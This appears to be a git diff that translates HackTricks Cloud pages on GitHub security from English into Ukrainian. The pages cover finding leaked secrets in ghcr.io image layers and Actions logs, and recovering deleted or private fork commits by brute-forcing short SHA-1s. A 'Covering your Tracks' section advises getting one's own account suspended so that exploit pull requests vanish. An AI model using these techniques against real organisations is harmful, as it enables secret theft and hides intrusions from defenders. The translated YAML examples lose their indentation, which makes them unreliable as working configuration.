Github**.\ -An example can be find in the following expandable: +Можливо створити Github дії, які **будують і зберігають Docker-образ всередині Github**.\ +Приклад можна знайти в наступному розширювальному:
Github Action Build & Push Docker Image - ```yaml [...] - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v1 +uses: docker/setup-buildx-action@v1 - name: Login to GitHub Container Registry - uses: docker/login-action@v1 - with: - registry: ghcr.io - username: ${{ github.repository_owner }} - password: ${{ secrets.ACTIONS_TOKEN }} +uses: docker/login-action@v1 +with: +registry: ghcr.io +username: ${{ github.repository_owner }} +password: ${{ secrets.ACTIONS_TOKEN }} - name: Add Github Token to Dockerfile to be able to download code - run: | - sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile +run: | +sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile - name: Build and push - uses: docker/build-push-action@v2 - with: - context: . - push: true - tags: | - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest - ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} +uses: docker/build-push-action@v2 +with: +context: . +push: true +tags: | +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest +ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} [...] ``` -
-As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**. - -A user with read permissions over the repo will then be able to download the Docker Image using a personal access token: +Як ви могли бачити в попередньому коді, реєстр Github розміщений на **`ghcr.io`**. +Користувач з правами читання над репозиторієм зможе завантажити Docker Image, використовуючи особистий токен доступу: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` - -Then, the user could search for **leaked secrets in the Docker image layers:** +Тоді користувач може шукати **викрадені секрети в шарах Docker-образу:** {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics {{#endref}} -### Sensitive info in Github Actions logs +### Чутлива інформація в журналах Github Actions -Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). +Навіть якщо **Github** намагається **виявити секретні значення** в журналах дій і **уникнути їх відображення**, **інша чутлива інформація**, яка могла бути згенерована під час виконання дії, не буде прихована. Наприклад, JWT, підписаний секретним значенням, не буде прихований, якщо його не [налаштувати спеціально](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). -## Covering your Tracks +## Приховування своїх слідів -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR) +(Техніка з [**тут**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) По-перше, будь-який PR, що створюється, чітко видимий для публіки в Github і для цільового облікового запису GitHub. У GitHub за замовчуванням ми **не можемо видалити PR з інтернету**, але є нюанс. Для облікових записів GitHub, які **припинені** GitHub, всі їхні **PR автоматично видаляються** і зникають з інтернету. Тож, щоб приховати свою активність, вам потрібно або отримати **припинення облікового запису GitHub, або отримати позначку на вашому обліковому записі**. Це **сховає всі ваші активності** на GitHub з інтернету (по суті видалить всі ваші експлуатаційні PR) -An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github. +Організація в GitHub дуже активно повідомляє про облікові записи в GitHub. Все, що вам потрібно зробити, це поділитися "деякими речами" в Issue, і вони подбають про те, щоб ваш обліковий запис був припинений протягом 12 годин :p і ось, ви зробили свою експлуатацію невидимою на github. > [!WARNING] -> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed. +> Єдиний спосіб для організації дізнатися, що вони стали мішенню, - це перевірити журнали GitHub з SIEM, оскільки з інтерфейсу GitHub PR буде видалено. -## Tools +## Інструменти -The following tools are useful to find Github Action workflows and even find vulnerable ones: +Наступні інструменти корисні для знаходження робочих процесів Github Action і навіть для знаходження вразливих: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) @@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md index ae156de2d..f358217aa 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md @@ -1,6 +1 @@ -# Gh Actions - Artifact Poisoning - - - - - +# Gh Actions - Отруєння артефактів diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index 024aa5ff8..56e50d02f 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1,6 +1 @@ -# GH Actions - Cache Poisoning - - - - - +# GH Actions - Пошкодження кешу diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 3cd632bd0..0ad530b51 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1,6 +1 @@ -# Gh Actions - Context Script Injections - - - - - +# Gh Actions - Впровадження скриптів контексту diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index f19fa699e..0c9f520b0 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -1,60 +1,56 @@ -# Accessible Deleted Data in Github +# Доступні видалені дані в Github {{#include ../../banners/hacktricks-training.md}} -This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). +Ці способи доступу до даних з Github, які нібито були видалені, були [**повідомлені в цьому блозі**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). -## Accessing Deleted Fork Data +## Доступ до видалених даних форків -1. You fork a public repository -2. You commit code to your fork -3. You delete your fork +1. Ви форкаєте публічний репозиторій +2. Ви комітите код у ваш форк +3. Ви видаляєте ваш форк > [!CAUTION] -> The data commited in the deleted fork is still accessible. +> Дані, комітовані у видаленому форку, все ще доступні. -## Accessing Deleted Repo Data +## Доступ до видалених даних репозиторію -1. You have a public repo on GitHub. -2. A user forks your repo. -3. You commit data after they fork it (and they never sync their fork with your updates). -4. You delete the entire repo. +1. У вас є публічний репозиторій на GitHub. +2. Користувач форкає ваш репозиторій. +3. Ви комітите дані після того, як вони його форкнули (і вони ніколи не синхронізують свій форк з вашими оновленнями). +4. Ви видаляєте весь репозиторій. > [!CAUTION] -> Even if you deleted your repo, all the changes made to it are still accessible through the forks. +> Навіть якщо ви видалили свій репозиторій, всі зміни, внесені до нього, все ще доступні через форки. -## Accessing Private Repo Data +## Доступ до даних приватного репозиторію -1. You create a private repo that will eventually be made public. -2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public. -3. You make your “upstream” repository public and keep your fork private. +1. Ви створюєте приватний репозиторій, який врешті-решт буде зроблений публічним. +2. Ви створюєте приватну, внутрішню версію цього репозиторію (через форк) і комітите додатковий код для функцій, які ви не збираєтеся робити публічними. +3. Ви робите свій “upstream” репозиторій публічним і зберігаєте свій форк приватним. > [!CAUTION] -> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public. +> Можливо отримати доступ до всіх даних, надісланих до внутрішнього форка, в період між створенням внутрішнього форка та публікацією публічної версії. -## How to discover commits from deleted/hidden forks +## Як виявити коміти з видалених/прихованих форків -The same blog post propose 2 options: +Той же блог пропонує 2 варіанти: -### Directly accessing the commit +### Прямий доступ до коміту -If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/` +Якщо відоме значення ID коміту (sha-1), його можна отримати за адресою `https://github.com///commit/` -### Brute-forcing short SHA-1 values +### Брутфорсинг коротких SHA-1 значень -It's the same to access both of these: +Це однаково для доступу до обох з них: - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) -And the latest one use a short sha-1 that is bruteforceable. +І останній використовує короткий sha-1, який можна брутфорсити. -## References +## Посилання - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index ae1365a0f..d2ded16a4 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -1,248 +1,242 @@ -# Basic Github Information +# Основна інформація про Github {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Основна структура -The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**. +Основна структура середовища github великої **компанії** полягає в тому, що вона володіє **підприємством**, яке має **кілька організацій**, і кожна з них може містити **кілька репозиторіїв** та **кілька команд**. Менші компанії можуть просто **володіти однією організацією і не мати підприємств**. -From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**. +З точки зору користувача, **користувач** може бути **членом** **різних підприємств та організацій**. У межах них користувач може мати **різні ролі в підприємстві, організації та репозиторії**. -Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles. +Більше того, користувач може бути **частиною різних команд** з різними ролями в підприємстві, організації або репозиторії. -And finally **repositories may have special protection mechanisms**. +І нарешті, **репозиторії можуть мати спеціальні механізми захисту**. -## Privileges +## Привілеї -### Enterprise Roles +### Ролі підприємства -- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository -- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**. +- **Власник підприємства**: Люди з цією роллю можуть **керувати адміністраторами, керувати організаціями в межах підприємства, керувати налаштуваннями підприємства, забезпечувати дотримання політики в організаціях**. Однак вони **не можуть отримати доступ до налаштувань організації або вмісту**, якщо їх не призначать власником організації або не нададуть прямий доступ до репозиторію, що належить організації. +- **Члени підприємства**: Члени організацій, що належать вашому підприємству, також є **автоматично членами підприємства**. -### Organization Roles +### Ролі організації -In an organisation users can have different roles: +В організації користувачі можуть мати різні ролі: -- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization. -- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**. -- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information. -- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization. - - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization. -- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions. -- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization. +- **Власники організації**: Власники організації мають **повний адміністративний доступ до вашої організації**. Цю роль слід обмежити, але не менше ніж двом людям у вашій організації. +- **Члени організації**: **За замовчуванням**, неадміністративна роль для **людей в організації** є членом організації. За замовчуванням, члени організації **мають певну кількість дозволів**. +- **Менеджери з виставлення рахунків**: Менеджери з виставлення рахунків - це користувачі, які можуть **керувати налаштуваннями виставлення рахунків для вашої організації**, такими як платіжна інформація. +- **Менеджери з безпеки**: Це роль, яку власники організації можуть призначити будь-якій команді в організації. Коли вона застосовується, вона надає кожному члену команди дозволи на **управління сповіщеннями про безпеку та налаштуваннями в межах вашої організації, а також права на читання для всіх репозиторіїв** в організації. +- Якщо ваша організація має команду безпеки, ви можете використовувати роль менеджера з безпеки, щоб надати членам команди найменший доступ, який їм потрібен до організації. +- **Менеджери GitHub App**: Щоб дозволити додатковим користувачам **керувати GitHub Apps, що належать організації**, власник може надати їм дозволи менеджера GitHub App. +- **Зовнішні співпрацівники**: Зовнішній співпрацівник - це особа, яка має **доступ до одного або кількох репозиторіїв організації, але не є явно членом** організації. -You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) +Ви можете **порівняти дозволи** цих ролей у цій таблиці: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) -### Members Privileges +### Привілеї членів -In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**. +У _https://github.com/organizations/\/settings/member_privileges_ ви можете побачити **дозволи, які користувачі матимуть лише за те, що є частиною організації**. -The settings here configured will indicate the following permissions of members of the organisation: +Налаштування, які тут конфігуровані, вказуватимуть на такі дозволи членів організації: -- Be admin, writer, reader or no permission over all the organisation repos. -- If members can create private, internal or public repositories. -- If forking of repositories is possible -- If it's possible to invite outside collaborators -- If public or private sites can be published -- The permissions admins has over the repositories -- If members can create new teams +- Бути адміністратором, автором, читачем або не мати дозволів на всі репозиторії організації. +- Якщо члени можуть створювати приватні, внутрішні або публічні репозиторії. +- Якщо можливе форкання репозиторіїв. +- Якщо можливо запрошувати зовнішніх співпрацівників. +- Якщо можна публікувати публічні або приватні сайти. +- Дозволи, які мають адміністратори над репозиторіями. +- Якщо члени можуть створювати нові команди. -### Repository Roles +### Ролі репозиторіїв -By default repository roles are created: +За замовчуванням створюються ролі репозиторіїв: -- **Read**: Recommended for **non-code contributors** who want to view or discuss your project -- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access -- **Write**: Recommended for contributors who **actively push to your project** -- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions -- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository +- **Читання**: Рекомендується для **некодових учасників**, які хочуть переглядати або обговорювати ваш проект. +- **Тріаж**: Рекомендується для **учасників, які повинні проактивно управляти проблемами та запитами на злиття** без доступу на запис. +- **Запис**: Рекомендується для учасників, які **активно вносять зміни до вашого проекту**. +- **Управління**: Рекомендується для **менеджерів проектів, які повинні управляти репозиторієм** без доступу до чутливих або руйнівних дій. +- **Адміністратор**: Рекомендується для людей, які потребують **повного доступу до проекту**, включаючи чутливі та руйнівні дії, такі як управління безпекою або видалення репозиторію. -You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) +Ви можете **порівняти дозволи** кожної ролі в цій таблиці [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_ +Ви також можете **створити свої власні ролі** у _https://github.com/organizations/\/settings/roles_ -### Teams +### Команди -You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team. +Ви можете **переглянути команди, створені в організації** у _https://github.com/orgs/\/teams_. Зверніть увагу, що для перегляду команд, які є дочірніми для інших команд, вам потрібно отримати доступ до кожної батьківської команди. -### Users +### Користувачі -The users of an organization can be **listed** in _https://github.com/orgs/\/people._ +Користувачі організації можуть бути **перераховані** у _https://github.com/orgs/\/people._ -In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**. +У інформації про кожного користувача ви можете побачити **команди, членом яких є користувач**, і **репозиторії, до яких має доступ користувач**. -## Github Authentication +## Аутентифікація Github -Github offers different ways to authenticate to your account and perform actions on your behalf. +Github пропонує різні способи аутентифікації у вашому обліковому записі та виконання дій від вашого імені. -### Web Access +### Веб-доступ -Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**). +Зайшовши на **github.com**, ви можете увійти, використовуючи своє **ім'я користувача та пароль** (і **можливо 2FA**). -### **SSH Keys** +### **SSH ключі** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys) +Ви можете налаштувати свій обліковий запис з одним або кількома відкритими ключами, що дозволяє відповідному **закритому ключу виконувати дії від вашого імені.** [https://github.com/settings/keys](https://github.com/settings/keys) -#### **GPG Keys** +#### **GPG ключі** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +Ви **не можете видавати себе за користувача з цими ключами**, але якщо ви їх не використовуєте, може бути можливим, що ви **будете виявлені за відправлення комітів без підпису**. Дізнайтеся більше про [пильний режим тут](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). -### **Personal Access Tokens** +### **Токени особистого доступу** -You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Ви можете згенерувати токен особистого доступу, щоб **надати додатку доступ до вашого облікового запису**. При створенні токена особистого доступу **користувач** повинен **вказати** **дозволи**, які **токен** матиме. [https://github.com/settings/tokens](https://github.com/settings/tokens) -### Oauth Applications +### Oauth додатки -Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms. +Oauth додатки можуть запитувати у вас дозволи **для доступу до частини вашої інформації в github або для видавання вас за себе** для виконання деяких дій. Загальним прикладом цієї функціональності є **кнопка входу з github**, яку ви можете знайти на деяких платформах. -- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers) -- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications) -- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_ +- Ви можете **створити** свої власні **Oauth додатки** у [https://github.com/settings/developers](https://github.com/settings/developers) +- Ви можете побачити всі **Oauth додатки, які мають доступ до вашого облікового запису** у [https://github.com/settings/applications](https://github.com/settings/applications) +- Ви можете побачити **обсяги, які Oauth Apps можуть запитувати** у [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) +- Ви можете побачити доступ третіх сторін до додатків в **організації** у _https://github.com/organizations/\/settings/oauth_application_policy_ -Some **security recommendations**: +Деякі **рекомендації з безпеки**: -- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes.. -- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user. -- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s. -- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it. -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- **OAuth App** завжди має **діяти як аутентифікований користувач GitHub у всьому GitHub** (наприклад, при наданні сповіщень користувачеві) і з доступом лише до вказаних обсягів. +- OAuth App може використовуватися як постачальник ідентичності, активуючи "Увійти з GitHub" для аутентифікованого користувача. +- **Не** створюйте **OAuth App**, якщо ви хочете, щоб ваш додаток діяв на **одному репозиторії**. З обсягом `repo` OAuth Apps можуть **діяти на _всіх_** репозиторіях аутентифікованого користувача. +- **Не** створюйте OAuth App, щоб діяти як додаток для вашої **команди або компанії**. OAuth Apps аутентифікуються як **один користувач**, тому якщо одна особа створює OAuth App для використання компанією, а потім залишає компанію, ніхто інший не матиме доступу до нього. +- **Більше** тут [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). -### Github Applications +### Додатки Github -Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to. +Додатки Github можуть запитувати дозволи для **доступу до вашої інформації в github або видавання вас за себе** для виконання конкретних дій над конкретними ресурсами. У GitHub Apps вам потрібно вказати репозиторії, до яких додаток матиме доступ. -- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository. -- The GitHub App should **connect to a personal account or an organisation**. -- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps) -- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them -- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_ +- Щоб встановити GitHub App, ви повинні бути **власником організації або мати адміністративні дозволи** в репозиторії. +- GitHub App має **підключатися до особистого облікового запису або організації**. +- Ви можете створити свій власний додаток GitHub у [https://github.com/settings/apps](https://github.com/settings/apps) +- Ви можете побачити всі **додатки GitHub, які мають доступ до вашого облікового запису** у [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) +- Це **API кінцеві точки для додатків GitHub** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Залежно від дозволів додатка, він зможе отримати доступ до деяких з них. +- Ви можете побачити встановлені додатки в **організації** у _https://github.com/organizations/\/settings/installations_ -Some security recommendations: +Деякі рекомендації з безпеки: -- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Make sure the GitHub App integrates with **specific repositories**. -- The GitHub App should **connect to a personal account or an organisation**. -- Don't expect the GitHub App to know and do everything a user can. -- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things. -- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do. -- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- GitHub App має **виконувати дії незалежно від користувача** (якщо додаток не використовує [токен користувача до сервера](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Щоб зберегти токени доступу користувача до сервера більш безпечними, ви можете використовувати токени доступу, які закінчуються через 8 годин, і токен оновлення, який можна обміняти на новий токен доступу. Для отримання додаткової інформації дивіться "[Оновлення токенів доступу користувача до сервера](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Переконайтеся, що GitHub App інтегрується з **конкретними репозиторіями**. +- GitHub App має **підключатися до особистого облікового запису або організації**. +- Не очікуйте, що GitHub App знатиме і робитиме все, що може користувач. +- **Не використовуйте GitHub App, якщо вам просто потрібен сервіс "Увійти з GitHub"**. Але GitHub App може використовувати [потік ідентифікації користувача](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) для входу користувачів _і_ виконання інших дій. +- Не створюйте GitHub App, якщо ви _лише_ хочете діяти як користувач GitHub і робити все, що може зробити цей користувач. +- Якщо ви використовуєте свій додаток з GitHub Actions і хочете змінити файли робочого процесу, ви повинні аутентифікуватися від імені користувача з токеном OAuth, який включає обсяг `workflow`. Користувач повинен мати адміністративні або записні дозволи на репозиторій, що містить файл робочого процесу. Для отримання додаткової інформації дивіться "[Розуміння обсягів для OAuth додатків](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- **Більше** тут [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information. +Це **не спосіб аутентифікації в github**, але **зловмисна** Github Action може отримати **неавторизований доступ до github** і **в залежності** від **привілеїв**, наданих дії, можуть бути здійснені кілька **різних атак**. Дивіться нижче для отримання додаткової інформації. ## Git Actions -Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets). +Git дії дозволяють автоматизувати **виконання коду, коли відбувається подія**. Зазвичай виконуваний код є **якимось чином пов'язаним з кодом репозиторію** (можливо, створити контейнер Docker або перевірити, що PR не містить секретів). -### Configuration +### Налаштування -In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization. +У _https://github.com/organizations/\/settings/actions_ можливо перевірити **налаштування github actions** для організації. -It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions. +Можливо заборонити використання github actions повністю, **дозволити всі github actions**, або просто дозволити певні дії. -It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run. +Також можливо налаштувати **хто потребує схвалення для виконання Github Action** та **дозволи GITHUB_TOKEN** Github Action, коли вона виконується. ### Git Secrets -Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**. - -These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like: +Github Action зазвичай потребують певних секретів для взаємодії з github або сторонніми додатками. Щоб **уникнути їх розміщення у відкритому тексті** в репозиторії, github дозволяє розміщувати їх як **Secrets**. +Ці секрети можуть бути налаштовані **для репозиторію або для всієї організації**. Тоді, щоб **Action могла отримати доступ до секрету**, вам потрібно оголосити його так: ```yaml steps: - - name: Hello world action - with: # Set the secret as an input - super_secret:${{ secrets.SuperSecret }} - env: # Or as an environment variable - super_secret:${{ secrets.SuperSecret }} +- name: Hello world action +with: # Set the secret as an input +super_secret:${{ secrets.SuperSecret }} +env: # Or as an environment variable +super_secret:${{ secrets.SuperSecret }} ``` - -#### Example using Bash - +#### Приклад використання Bash ```yaml steps: - - shell: bash - env: SUPER_SECRET:${{ secrets.SuperSecret }} - run: | - example-command "$SUPER_SECRET" +- shell: bash +env: SUPER_SECRET:${{ secrets.SuperSecret }} +run: | +example-command "$SUPER_SECRET" ``` - > [!WARNING] -> Secrets **can only be accessed from the Github Actions** that have them declared. +> Secrets **можна отримати лише з Github Actions**, які їх оголосили. -> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**. +> Після налаштування в репозиторії або організаціях **користувачі github більше не зможуть отримати до них доступ**, вони зможуть лише **змінювати їх**. -Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action). +Отже, **єдиний спосіб вкрасти секрети github - це мати доступ до машини, яка виконує Github Action** (в цьому сценарії ви зможете отримати доступ лише до секретів, оголошених для Action). ### Git Environments -Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like: - +Github дозволяє створювати 